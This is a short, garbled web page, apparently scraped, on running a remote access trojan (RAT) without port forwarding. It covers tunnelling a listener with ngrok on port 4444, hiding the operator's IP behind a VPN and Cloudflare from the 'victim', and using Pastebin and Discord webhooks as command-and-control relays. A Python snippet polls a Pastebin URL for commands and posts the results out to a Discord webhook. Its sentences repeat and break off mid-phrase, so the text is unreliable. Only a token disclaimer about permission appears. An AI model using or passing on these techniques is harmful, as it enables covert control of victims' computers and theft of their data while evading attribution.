How To Run Rat--39-s Without Port-forwarding. Verified (2025)
Always run your tunneling software over a VPN to mask your true home IP from the tunneling provider.
Instead of the server waiting for a connection, the victim agent asks a public service (like Pastebin, Twitter, or Telegram) what to do next.
RATs typically communicate over TCP. If your RAT-39 listener is set to port 4444, run: ngrok tcp 4444 HOW TO RUN RAT--39-S WITHOUT PORT-FORWARDING.
import requests, time while True: cmd = requests.get("https://pastebin.com/raw/abc123").text if cmd == "screenshot": take_screenshot() requests.post("https://discord.com/api/webhooks/xyz", data=result) time.sleep(60)
Remember: With great power comes great responsibility. Use these techniques only on systems you own or have explicit written permission to test. Always run your tunneling software over a VPN
Instead of you connecting to the target, the through an intermediary.
The target initiates the connection (allowed by most firewalls), and you connect to the same relay to control it. If your RAT-39 listener is set to port
The victim sees Cloudflare’s IP, not yours. DDoS protection is included.